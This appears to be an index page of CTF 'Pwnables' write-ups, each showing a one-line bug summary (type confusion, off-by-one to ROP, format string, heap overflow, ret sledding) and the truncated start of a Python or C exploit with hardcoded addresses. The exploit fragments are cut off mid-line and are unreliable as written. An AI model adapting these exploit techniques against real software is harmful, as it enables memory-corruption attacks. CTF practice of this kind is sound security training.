Category : Pwnables Summary : c++, value assign miss Exploit#!/usr/bin/python from pwn import *from struct import pack, unpack def c_set(s, name, sound, feed):s.sendline('4')# set # overflow for leak s.recvuntil('select for set:')s.sendline('1') # animal1 s.recvuntil('name:')s.sendline(name) s.recvuntil('sound:')s.sendline(sound) s.recvuntil('feed:')s.sendline(feed) def c_setname(s, person): s.s..

Category : Pwnables Summary : type confusion, c++, free heap Exploit#!/usr/bin/python from pwn import *from struct import pack, unpackp = lambda x : pack("

Category : Pwnables Summary : off by one to rop, setjmp Exploit #!/usr/bin/python from socket import * from struct import pack, unpack import time def rc(s, ch): res = '' while ch not in res: res += s.recv(1) return res #def ror64(value, count): def ROR(data, shift, size=64): shift %= size body = data >> shift remains = (data

Category : Pwnables Summary : memory leak with SSP protection Exploit #!/usr/bin/python from socket import * from struct import pack, unpack import time def rc(s, ch): res = '' while ch not in res: res += s.recv(1) return res p = lambda x : pack("

OverviewCategory : Pwnables File : Summary : make failure chdir(), get admin password, 13byte fsb Exploit#!/usr/bin/pythonfrom socket import *from struct import pack,unpackp = lambda x:pack("value")num = ((stack&0x0000ffff) - 4)-926payload = ""payload += p(system_addr)payload += "aaaa"payload += p(system_arg)s.send("4\n")s.recv(1024)s.send("1\n")s.recv(1024)s.send("admin\x00"+payload+"\x00\..

OverviewCategory : Pwnables File : Summary : overwrite function pointer in heap by heap overflow or use-after-free, lift esp + ret sleding Exploitloader.c#include #define RET "\x37\x93\x04\x08"#define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET#define EXECL "\x40\x2e\x0f\x40"//#define EXECL "\x50\x..

SummaryCategory : Pwnables File : Keywords : clear game, overwrite any 4byte memory except 0x0804XXXX, _exit calls %gs + 0x14, lift esp + ret sleding Exploitloader.c#include #define RET "\x20\x99\x04\x08" // 0x08049920 retn#define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET #define JMPESP "\x7d\x2a\x08\x40" ..